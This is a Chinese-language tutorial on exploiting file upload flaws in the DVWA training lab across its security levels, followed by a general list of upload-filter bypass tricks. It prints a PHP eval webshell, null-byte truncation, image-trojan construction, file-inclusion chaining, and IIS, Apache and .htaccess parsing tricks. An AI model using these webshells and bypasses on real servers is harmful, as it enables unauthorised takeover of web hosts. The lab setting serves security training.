天天看点

DVWA--文件上传漏洞

文件上传漏洞定义

文件上传漏洞通常是由于上传文件的类型、内容没有进行严格的过滤检查,使得可以通过上传webshell获取服务器权限,因此文件上传漏洞带来的危害通常是毁灭性的。

文件上传漏洞的前提

  1. 能上传的木马
  2. 上传的木马可执行
  3. 还要清楚上传后的路径

实现过程

LOW级别

源码

DVWA--文件上传漏洞

basename(path,suffix):返回path中的文件名部分,如果可选参数suffix为空,则返回的文件名中包含文件后缀名,反之不包含文件后缀名。

由源码可知暂时并没有进行任何过滤;

(1)创建1.php并上传

1.php:<?php phpinfo();?>

DVWA--文件上传漏洞

可发现上传成功,服务器未做任何限制,此时再次访问上传路径

http://192.168.254.128/dvwa/hackable/uploads/1.php#

DVWA--文件上传漏洞

上传并执行php文件,说明存在文件上传漏洞

(2)上传一句话木马

b.php:<?php @eval($_POST[cmd]);?>

DVWA--文件上传漏洞

http://192.168.254.128/dvwa/hackable/uploads/b.php#

页面没有报错说明上传成功

打开中国菜刀,并且写入路径

DVWA--文件上传漏洞

路径:http://192.168.254.128/dvwa/hackable/uploads/b.php

DVWA--文件上传漏洞

拿到反弹shell

medium级别

源码

DVWA--文件上传漏洞

可见在源码中对上传文件的大小和类型进行了限制;

解决办法

1、burpsuit抓包修改

实验过程

对比上传成功的数据包和上传失败的数据包

上传成功的数据包

DVWA--文件上传漏洞

上传失败的数据包

DVWA--文件上传漏洞

对上传失败的数据包进行修改,便可上传成功

DVWA--文件上传漏洞
DVWA--文件上传漏洞

后续在菜刀里面运行便可;

[也可先上传b.jpeg,在抓包中再修改文件名]

2、%00截断绕过

实验过程

%00截断绕过,此时,服务器会将low.php%00.png认为其文件名为low.php,解析为PHP文件(仅限于PHP版本小于5.3.4的版本)

DVWA--文件上传漏洞
DVWA--文件上传漏洞

high级别

源码

DVWA--文件上传漏洞

substr():返回字符串的一部分;

$uploaded_ext:等于文件的后缀名;

getimagesize(string filename):函数会通过读取文件头,返回图片的长、宽等信息,如果没有相关的图片文件头,函数会报错。

getimagesize():函数限制了上传文件的文件头(限制了文件的大小及图片尺寸)。

High安全等级采用白名单过滤,只允许上传的文件后缀名为jpg、jpeg、png且文件大小小于100000字节。

绕过方法

制作图片木马,文件上传与文件包含结合

copy 1.jpg/b + a.php/a 1a.jpeg

//1.jpg :任一图片

//b:二进制

// a.php :一句话木马

//a:ASCII 生成1a.jpeg

a.php :一句话木马

DVWA--文件上传漏洞

生成图片马,上传文件

DVWA--文件上传漏洞
DVWA--文件上传漏洞

使用文件包含执行图片马(此时kali开始监听)

http://192.168.254.128/dvwa/vulnerabilities/fi/?page=file:///C:/phpStudy/PHPTutorial/WWW/dvwa/hackable/uploads/1a.jpeg

DVWA--文件上传漏洞

查看监听结果(脚本已经执行,但是未连接成功是因为脚本内容问题,与操作无关)

DVWA--文件上传漏洞

impossible级别

(1)上传文件进行了重命名(为md5值,导致%00截断无法绕过过滤规则);

(2)加入Anti-CSRF token防护CSRF攻击;

(3)对文件的内容做了严格的检查,导致攻击者无法上传含有恶意脚本的文件;

文件上传校验

客户端校验:

javascript校验(一般只校验后缀名)

服务端校验:

(1) 文件头content—type字段校验(image/gif)

(2) 文件内容头校验(GIF89a)

(3) 后缀名黑名单校验

(4) 后缀名白名单校验

(5) 自定义正则校验

(6) WAF(网络入侵级防御系统)设备校验

文件上传绕过手段

1、客户端绕过

可以利用burp抓包改包,先上传一个gif类型的木马,然后通过burp将其改为asp/php/jsp后缀名即可;

2、服务端绕过

(1) 文件类型绕过:burp抓包,将content—type字段改为image/gif

(2) 文件头绕过:在木马内容基础上再加了一些文件信息,eg:GIF98a<php phpinfo();?>

(3) 文件后缀名绕过:

前提黑名单校验(一般有个专门的blacklist文件,里面包含常见的危险脚本文件),

绕过方法:

找黑名单扩展名的漏网之鱼,eg:asa和cer之类

可能存在大小写绕过漏洞,eg:aSp和pHp之类

能被解析的文件扩展名列表:jsp jspx jspf asp asa cer aspx php pht php3 php4

3、 配合文件包含漏洞

前提:校验规则只校验当文件后缀名为asp/php/jsp的文件内容是否为木马;

绕过方式:(以php为例)

(1) 先上传一个内容为木马的txt后缀文件,因为后缀名的关系没有检验内容;

(2) 然后再上传一个.php文件,内容为<?php include(“上传的txt文件路径”);?>

(3) 此时,这个php文件就回去引用txt文件的内容,从而绕过校验;

4、 配合服务器解析漏洞

IIS解析漏洞

使用IIS5.x-6.x版本的服务器,大多为2003server,网站比较古老,开发语句一般为asp;该解析漏洞也只能解析asp文件;

目录解析:www.xxx.com/xx.asp/xx.jpg

原理:服务器会默认把.asp,.asa目录下的文件都解析成asp文件

文件解析:www.xxx.com/xx.asp;.jpg

原理:服务器会默认不解析;后面的内容;

解析文件类型:

IIS6.0默认的可执行文件(asp、/test.asa,/test.cer,/test.cdx)

Apache解析漏洞

原理:apache解析文件的规则是从左向右开始判断解析,如果后缀名为不可识别文件解析,就再往左判断;

Eg:www.xxx.com/test.php.owf.rar

由于rar,owf都不可识别解析,所以解析成php

其余配置问题导致的漏洞:

conf:

AddHandlerphp5-script.php 此时只要文件名包含.php就会以php来执行;

AddTypeapplication/x-httpd-php.jpg 即使扩展名是jpg,一样能以php方式执行;

5、 配合操作系统文件命令规则

上传不符合windows文件命名规则的文件名,会被windows系统自动去掉不符合规则符号后面的内容;

eg:(test.asp,test.asp(空格),test.php:1.jpg)

6、 CMS、编辑器漏洞

(1) CMS漏洞:可针对不同CMS存在的上传漏洞进行绕过;

(2) 编辑器漏洞:(eg:FCK、ewebeditor) 可针对编辑器的漏洞进行绕过;

7、 配合其他规则

(1)0x00截断:基于一个组合逻辑漏洞造成的,通常存在于构建上传文件路径的时候,路径/upload/1.php(0x00),文件名1.jpg,结合/upload/1.php(0x00)/1.jpg

(2).htaccess(上传当前目录的该文件)

AddTtye aaplication/x-http-php.jpg(上传的jpg均以php执行)

嗯嗯~~就这么多了

继续阅读